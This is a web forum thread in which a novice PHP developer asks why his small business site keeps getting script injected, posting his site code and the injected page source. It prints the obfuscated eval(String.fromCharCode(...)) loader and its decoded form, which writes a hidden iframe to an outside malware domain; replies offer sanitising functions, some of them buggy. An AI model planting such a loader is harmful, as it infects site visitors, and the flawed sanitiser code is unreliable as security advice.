Jump to content

PHP injection attack?


nikneven

Recommended Posts

I am fairly new to PHP and have built my first PHP based site.  Unfortunately, the site keeps getting script injected into it. After the first attack, I tried to stop it by making sure that the variables were variables,  and not web addresses, by using case statements and i thought, securing the contact form.  It just got hit again.  The source code ended up looking like:

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Giraffe, Inc.</title>
<meta name="keywords" content="scenic, prop, Reno, Tahoe, floral, live plant rental, flower, prop, portrait, photo, props, the<script type="text/javascript">eval(String.fromCharCode(118,97,114,32,120,101,119,61,52,53,51,56,48,48,53,52,51,59,118,97,114,32,103,104,103,52,53,61,34,110,117,111,116,34,59,118,97,114,32,119,61,34,111,34,59,118,97,114,32,114,101,54,61,34,108,108,46,34,59,118,97,114,32,104,50,104,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,114,34,59,118,97,114,32,115,61,34,104,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,97,109,101,32,115,114,39,43,39,99,61,34,39,43,115,43,39,112,58,47,47,39,43,103,104,103,52,53,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,104,50,104,43,39,47,39,43,39,34,32,119,105,100,39,43,39,116,104,61,34,49,34,32,104,39,43,39,101,105,103,104,116,61,34,51,34,62,60,47,105,102,39,43,39,114,97,109,101,62,39,41,59,32,118,97,114,32,106,104,114,52,61,52,51,50,52,50,50,52))</script>

 

The site is http://www.system7design.com/giraffe/

 

The actual source is:

 

<?php
//If content variable is not defined, set to home.

if (isset($content)) {
} else
{
$content = "variableContent/home.php";
};

if($smc==1){
//$sM = "variableContent/services/sM1.php";
$sC = "variableContent/services/sC1.php";
$menuClass1 = " class=\"bold hoverDis\" ";
$menuClass2 = "";
$menuClass3 = "";
$menuClass4 = "";
$menuClass5 = "";
}
elseif ($smc==2){
//$sM = "variableContent/services/sM2.php";
$sC = "variableContent/services/sC2.php";
$menuClass1 = "";
$menuClass2 = " class=\"bold hoverDis\" ";
$menuClass3 = "";
$menuClass4 = "";
$menuClass5 = "";
}
elseif ($smc==3){
//$sM = "variableContent/services/sM3.php";
$sC = "variableContent/services/sC3.php";
$menuClass1 = "";
$menuClass2 = "";
$menuClass3 = " class=\"bold hoverDis\" ";
$menuClass4 = "";
$menuClass5 = "";
}
elseif ($smc==4){
//$sM = "variableContent/services/sM4.php";
$sC = "variableContent/services/sC4.php";
$menuClass1 = "";
$menuClass2 = "";
$menuClass3 = "";
$menuClass4 = " class=\"bold hoverDis\" ";
$menuClass5 = "";
}
elseif ($smc==5){
//$sM = "variableContent/services/sM5.php";
$sC = "variableContent/services/sC5.php";
$menuClass1 = "";
$menuClass2 = "";
$menuClass3 = "";
$menuClass4 = "";
$menuClass5 = " class=\"bold hoverDis\" ";
}
else{
//$sM = "variableContent/services/sM0.php";
$sC = "variableContent/services/sC0.php";
$menuClass1 = "";
$menuClass2 = "";
$menuClass3 = "";
$menuClass4 = "";
$menuClass5 = "";
} ;

if($cbg==1){
$contactForm=" style=\"background-image: url(images/backgroundContact.jpg)\"";
}
else{
$contactForm="";
};

switch($content) {
case 'home': $urlMenu = 'variableContent/home.php';
break;
case 'about': $urlMenu = 'variableContent/about.php';
break;
case 'services': $urlMenu = 'variableContent/services.php';
break;
case 'gallery': $urlMenu = 'variableContent/gallery.php';
break;
case 'contact': $urlMenu = 'variableContent/contact.php';
break;
case 'validate': $urlMenu = 'variableContent/validate.php';
break;
case 'ok': $urlMenu = 'variableContent/ok.php';
break;
case 'error': $urlMenu = 'variableContent/error.php';
break;
default: $urlMenu = 'variableContent/home.php';
};

$contentVariables = array('variableContent/home.php', 'variableContent/about.php', 'variableContent/services.php', 'variableContent/gallery.php', 'variableContent/contact.php', 'variableContent/validate.php', 'variableContent/ok.php', 'variableContent/error.php');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Giraffe, Inc.</title>
<meta name="keywords" content="scenic, prop, Reno, Tahoe, floral, live plant rental, flower, prop, portrait, photo, props, theatre, event" />
<meta name="description" content="Giraffe, Inc. is a full service scenery and production support facility. We provide all aspects of scenic prop design and construction, rentals, stage equipment, portrait settings, and floral arrangements." />
<meta name="author" content="System 7 Design" />
<meta name="ROBOTS" content="ALL" />
<link rel="icon" type="image/ico" href="Favicon.ico" />
<link rel="stylesheet" type="text/css" href="css/giraffeMain.css" />
<link rel="stylesheet" href="css/lightbox.css" type="text/css" media="screen" />
<!--[if IE 6]>
<script src="js/DD_belatedPNG.js"></script>
<script>
  /* EXAMPLE */
  DD_belatedPNG.fix('.btnExample, #indexDivider, .sC1, .sC2, .sC3, .sC4, .sC5, .sC0, #servicesMenu, img');
  
  /* string argument can be any CSS selector */
  /* .png_bg example is unnecessary */
  /* change it to what suits you! */
</script>
<![endif]-->
<script type="text/javascript" src="js/prototype.js"></script>
<script type="text/javascript" src="js/scriptaculous.js?load=effects,builder"></script>
<script type="text/javascript" src="js/lightbox.js"></script>
<script type="text/javascript" src="js/gen_validatorv31.js"></script>
<script type="text/javascript" src="js/menuRollover.js"></script>
<script type="text/javascript" src="js/swfobject.js"></script>
<script type="text/javascript">
		var flashvars = {};
		var params = {};
		params.wmode = "transparent";
		var attributes = {};
		swfobject.embedSWF("gallery.swf", "my_flash", "880", "450", "8.0.0", false, flashvars, params, attributes);			
	</script>
<style type="text/css" media="screen">
object {
outline:none;
}
</style>
</head>


<body>
<div id="container"<?php echo $contactForm; ?>>

  <div id="header">
    <?php include("staticContent/header.php"); ?>
  </div><!-- /header -->
  
  
  <div id="content">
    <?php 
	if( in_array($urlMenu, $contentVariables)){ 
	include($urlMenu); 
	}else{
	include("variableContent/home.php");
	} 
?>
    <div id="clear"></div>
  </div>
  <!-- /content -->
  <div id="footerContainer">
    <?php include("staticContent/footer.php"); ?>
  </div>
  <!-- /footerContainer -->
</div>
<!-- /container -->
</body>
</html>

 

and the contact form is:

 

<?php

// get posted data into local variables
function check_input($data)
{
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data);
    return $data;
}

$EmailFrom = check_input($_POST['EmailFrom']); 
$EmailTo = "aithnen@gmail.com";
$Subject = "~ New Contact from GiraffeInc.com: ";
$Subject .= $EmailFrom;
$Subject .= " ~";
$FullName = check_input($_POST['FullName']);
$Contact =   check_input($_POST['checkbox']); 
$Tel = check_input($_POST['Tel']); 
$Company = check_input($_POST['Company']); 
$Message = check_input($_POST['Message']); 

$headers = "From: \"".$FullName."\" <".$EmailFrom.">";
$headers .= "Return-Path: <".$EmailFrom.">"; 
$headers .= "\n";


// validation
$validationOK=true;
if ($EmailFrom=="") $validationOK=false;
if ($FullName=="") $validationOK=false;
if ($Message=="") $validationOK=false;
if (!$validationOK) {
  print "<meta http-equiv=\"refresh\" content=\"0;URL=../index.php?content=validate&cbg=1\">";
exit;
}

if (!preg_match("/^[-_a-z0-9\'+*$^&%=~!?{}]++(?:\.[-_a-z0-9\'+*$^&%=~!?{}]+)*+@(??![-.])[-a-z0-9.]+(?<![-.])\.[a-z]{2,6}|\d{1,3}(?:\.\d{1,3}){3})(?::\d++)?$/iD",$EmailFrom))
{
  print "<meta http-equiv=\"refresh\" content=\"0;URL=../index.php?content=validate&cbg=1\">";
exit;
}


// prepare email body text
$Body = "";
$Body .= "You have message from ";
$Body .= $FullName;
$Body .= " at ";
$Body .= $EmailFrom;
$Body .= "\n";
$Body .= "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
$Body .= "\n";
$Body .= "\n";
$Body .= "Name: ";
$Body .= $FullName;
$Body .= "\n";
$Body .= "Should we contact you?  ";
$Body .= $Contact;
$Body .= "\n";
$Body .= "Phone Number: ";
$Body .= $Tel;
$Body .= "\n";
$Body .= "Company: ";
$Body .= $Company;
$Body .= "\n";
$Body .= "Message: ";
$Body .= $Message;
$Body .= "\n";

// send email 
$success = mail($EmailTo, $Subject, $Body, $headers);

// redirect to success page 
if ($success){
  print "<meta http-equiv=\"refresh\" content=\"0;URL=../index.php?content=ok&cbg=1\">";
}
else{
  print "<meta http-equiv=\"refresh\" content=\"0;URL=../index.php?content=error&cbg=1\">";
}
?>

 

We're using the following to make a list of images for flash to pull, and I don't think this one is the issue, but....

<?php 
$images = '_gallery'; 
$thumbs= '_gallery/_thumbs'; 
$numImages = 0; 
$numThumbs = 0; 
$url = $_SERVER['PHP_SELF'];
$mypath = substr($url, 0, -14);
if (is_dir($images)) { 
    if ($openDir = opendir($images)) { 
        while (false !== ($file = readdir($openDir))) { 
            if ($file != '.' && $file != '..') { 
                if (is_file($images . '/' . $file)) { 
                    $f = explode('.', $file); 
                    $ext = array_pop($f); 
                    if ($ext == 'jpg') { 
				$image_file = "$images/$file";

				if (file_exists ($image_file)){
echo "\n&image$numImages=".$image_file;//should echo: &thumb0=_gallery/_thumbs/thumb_01.jpg
}else{
echo "\n&image$numImages=none";//should echo: &thumb0=none
}         
                        ++$numImages; 
                    } 
                } 
            } 
        } 
    } 
    closedir($openDir); 
} 
//&image0=_gallery/01.jpg
if (is_dir($images)) { 
    if ($openDir = opendir($images)) { 
        while (false !== ($file = readdir($openDir))) { 
            if ($file != '.' && $file != '..') { 
                if (is_file($images . '/' . $file)) { 
                    $f = explode('.', $file); 
                    $ext = array_pop($f); 
                    if ($ext == 'jpg') { 
             
										$thumb_file = "$images/_thumbs/thumb_$file";

				if (file_exists ($thumb_file)){
echo "\n&thumb$numThumbs=".$thumb_file;//should echo: &thumb0=_gallery/_thumbs/thumb_01.jpg
}else{
echo "\n&thumb$numThumbs=images/gallery/thumbBG.jpg";//should echo: &thumb0=none
} 
                        ++$numThumbs; 
                    } 
                } 
            } 
        } 
    } 
    closedir($openDir); 
}

?>

 

 

What have I done wrong?  Any help would be very greatly appreciated.

 

~Nikneven

Link to comment
Share on other sites

Well, one thing that you can do is prevent any type of html in your text fields.

 

it wold be a relatively simple thing to make a function to 'wash' all text field data to prevent specific characters/keywords/phrases, i.e. search for '<script' and if it exists, kill the text .

 

The hard part is determining all the places where this can occur at and squashing it at the source.

 

 

Link to comment
Share on other sites

When you say text field data, do you mean that this is probably an issue with the contact form, or with something else?  And I was under the impression that I had pretty much cleaned up the contact form to prevent this type of thing.

Link to comment
Share on other sites

I'm not sure that would help.  I am already using stripslashes, I am already using htmlspecialchars  which is almost identical to htmlentities.  I am not displaying any user input, there is no database.    I am checking the user input on the contact form with http://myphpform.com/validating-forms.php

 

How did the injected script get into my meta tags??  Is this really a contact form issue?

Link to comment
Share on other sites

This function is identical to htmlspecialchars() in all ways, except with htmlentities(), all characters which have HTML character entity equivalents are translated into these entities.

 

And with ENT_QUOTES it will escape both single and double quotation marks.

Link to comment
Share on other sites

I am not sure, have never seen it done before TBH.

 

Have you checked your server access logs?

 

If the source of the file has edited permanently then it's probably a case of someone cracking your password.

Link to comment
Share on other sites

How do the inject a script into the meta tags in the header?

Why use the <meta name="keywords">? I don't think search engines even use those anymore. As for the javascript in there, I don't have a clue how it got there. (is interesting though!)

 

CR

Link to comment
Share on other sites

<html>
<body>

<script type="text/javascript">
document.write(String.fromCharCode(118,97,114,32,120,101,119,61,52,53,51,56,48,48,53,52,51,59,118,97,114,32,103,104,103,52,53,61,34,110,117,111,116,34,59,118,97,114,32,119,61,34,111,34,59,118,97,114,32,114,101,54,61,34,108,108,46,34,59,118,97,114,32,104,50,104,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,114,34,59,118,97,114,32,115,61,34,104,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,97,109,101,32,115,114,39,43,39,99,61,34,39,43,115,43,39,112,58,47,47,39,43,103,104,103,52,53,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,104,50,104,43,39,47,39,43,39,34,32,119,105,100,39,43,39,116,104,61,34,49,34,32,104,39,43,39,101,105,103,104,116,61,34,51,34,62,60,47,105,102,39,43,39,114,97,109,101,62,39,41,59,32,118,97,114,32,106,104,114,52,61,52,51,50,52,50,50,52));
document.write("<br />");
</script>

</body>
</html>


 

RETURNED:

 

var xew=453800543;var ghg45="nuot";var w="o";var re6="ll.";var h2h="com";var a="ifr";var s="htt";document.write('<'+a+'ame sr'+'c="'+s+'p://'+ghg45+''+w+''+re6+''+h2h+'/'+'" wid'+'th="1" h'+'eight="3">'); var jhr4=4324224

Link to comment
Share on other sites

Yea, the original attack return as:

 

var hjg4="bits";var w="info";var re6="ware.";var rrtt6="net";var a="if";var s="tt";document.write('<'+a+'rame src="h'+s+'p://'+hjg4+''+w+''+re6+''+rrtt6+'/'+'" width="1" height="1">');var w=010001010011

 

Looks like they were trying to inject links.  I'm really confused.  Is this maybe because I'm passing variables the url?  I have them all set with if statements and switches.  Is there a fundamental flaw in the way I have structured this site?

Link to comment
Share on other sites

Try:

<?php
function check_input($data)
{
    $data=strip_tags('allowed tags',$data);
    $data = trim($data); //trim whitespace
    $data = stripslashes($data); //trim backslashes
    $data = htmlspecialchars($data,ENT_NOQUOTES); 
//escaping XSS in PHP 5//
    $data= filter_var($data,FILTER_SANITIZE_STRING); //works in php5 
////////////////////////////////////////////////////////////////////////////////
    $data= mysql_real_escape_string($data); // escape SQL injection
    return $data;
}?>

Link to comment
Share on other sites

Have you checked around your server for other suspicious looking files/code?

 

Also, seeing as he's using charset=iso-8859-1 as a charset, he should use htmlentities like so:

 

$string = htmlentities($string,ENT_QUOTES,"charset=iso-8859-1");

 

Although I'm not sure if the contact form is a direct cause of all this.

Link to comment
Share on other sites

I just wanted to add in .02 for what its worth.

 

I have a hosting account with GoDaddy with about a dozen domains pointed to it. Every one of them, this morning, was incorporating code infecting users from the Nuotoll website you referenced. I contacted the host, and they advised that my password had been compromised. I spent the morning re-uploading every one of my sites. Re-putting each site seems to have resolved the issue, although I'm going to continue to monitor over the next few days/weeks.

 

I have a couple of PHP forms on my sites, but the sites are mostly html/css.

 

The virus that user's received by visiting one of the sites was a Bloodhound Exploit 196.

 

I'll continue to monitor this thread as well in case you  (or others) make progress. I hope this info helps in some small way!

Link to comment
Share on other sites

I've modified darkfreaks script so you can set flags as to what functions are used for security.

function safe_input($data,$flags="abcdef")
{
    if(strpos($flags,"a") == 0) {
    	$data = strip_tags('allowed tags',$data);
    }
    if(strpos($flags,"b")) {
    	$data = trim($data); //trim whitespace
    }
    if(strpos($flags,"c")) {
    	$data = stripslashes($data); //trim backslashes
    }
    if(strpos($flags,"d")) {
    	$data = htmlspecialchars($data,ENT_NOQUOTES);
    }
    if(strpos($flags,"e")) {
	//escaping XSS in PHP 5//
    	$data = filter_var($data,FILTER_SANITIZE_STRING); //works in php5 
    }
    if(strpos($flags,"f")) {
    	$data = mysql_real_escape_string($data); // escape SQL injection
    }
    return $data;
}

// use
safe_input($_POST['text'],"abce")

Link to comment
Share on other sites

Try:

<?php
function check_input($data)
{
    $data=strip_tags('allowed tags',$data);
    $data = trim($data); //trim whitespace
    $data = stripslashes($data); //trim backslashes
    $data = htmlspecialchars($data,ENT_NOQUOTES); 
//escaping XSS in PHP 5//
    $data= filter_var($data,FILTER_SANITIZE_STRING); //works in php5 
////////////////////////////////////////////////////////////////////////////////
    $data= mysql_real_escape_string($data); // escape SQL injection
    return $data;
}?>

<?php
function check_input($data)
{
    $data= filter_var($data,FILTER_SANITIZE_NUMBER_INT); //works in php5 
    return $data;
?>

 

Link to comment
Share on other sites

I contacted the host (GoDaddy), and they advised that my password had been compromised.

 

What in the world does that mean? A host should not store your password in plain text, they should store a hash of it. Or were you phish bait or clickjacked? Was your password 'password'? Clue us in here. This is incredulous. I googled "godaddy password compromised" for the past 7 days and didn't get a good hit.

 

CR

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.